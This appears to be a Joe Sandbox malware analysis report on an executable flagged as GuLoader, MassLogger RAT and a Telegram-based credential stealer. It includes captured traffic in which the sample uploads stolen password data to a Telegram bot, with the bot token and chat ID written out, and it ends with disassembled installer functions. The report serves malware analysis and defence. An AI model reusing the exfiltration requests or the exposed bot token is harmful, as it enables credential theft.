2025-01-10 20:50:45 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 35 33 61 32 61 62 32 38 38 64 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd353a2ab288d3Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:45 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:45 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 34 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44724,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542245,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.10	50021	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:46 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd357a39180a7a Host: api.telegram.org Content-Length: 1090
2025-01-10 20:50:46 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 35 37 61 33 39 31 38 30 61 37 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd357a39180a7aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:47 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:47 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:47 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 34 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44725,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542247,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.10	50023	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:51 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd35ba44deab09 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:50:51 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 35 62 61 34 34 64 65 61 62 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd35ba44deab09Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:52 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:52 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 35 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44726,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542252,"document":{"file_name":"U

Target ID:	0
Start time:	15:48:42
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\6mGpn6kupm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\6mGpn6kupm.exe"
Imagebase:	0x400000
File size:	1'002'919 bytes
MD5 hash:	89BB4EEAB81B80681733B2D7DF68289B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1714407995.00000000051B6000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:49:24
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\6mGpn6kupm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\6mGpn6kupm.exe"
Imagebase:	0x400000
File size:	1'002'919 bytes
MD5 hash:	89BB4EEAB81B80681733B2D7DF68289B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.9%
Total number of Nodes:	1570
Total number of Limit Nodes:	39

Executed Functions

Function 004034A5 Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(C:\Users\user\Desktop\6mGpn6kupm.exe,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

C:\Users\user\Desktop, xrefs: 0040386C, 00403871, 0040389E
1033, xrefs: 00403749
\Temp, xrefs: 004036FF
SeShutdownPrivilege, xrefs: 0040396F
Low, xrefs: 0040371B
C:\Users\user\AppData\Local\Temp\, xrefs: 004036DD, 004036E2, 004036F8, 00403704, 00403713, 00403720, 0040372C, 00403734, 0040384A, 0040385B, 00403866, 00403872, 0040387F, 0040388E, 0040393F
~nsu, xrefs: 00403845
TMP, xrefs: 00403735
C:\Users\user\AppData\Local\Iw\Bargains, xrefs: 004037F6
NSIS Error, xrefs: 00403567
C:\Users\user\Desktop\6mGpn6kupm.exe, xrefs: 004038F8
TEMP, xrefs: 0040372D
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
.tmp, xrefs: 00403861
Error launching installer, xrefs: 004037D0
UXTHEME, xrefs: 004034F5, 004034FA, 00403500

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Iw\Bargains$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\6mGpn6kupm.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-3627803890
Opcode ID: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

M, xrefs: 00404F76
N, xrefs: 00405057
, xrefs: 00405385

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,774D2EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user\AppData\Local\Temp\,774D2EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,774D2EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,774D2EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,774D2EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

\*.*, xrefs: 00405B65
0WB, xrefs: 00405B53
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B08

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3984366992
Opcode ID: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,?,?,774D2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,774D2EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
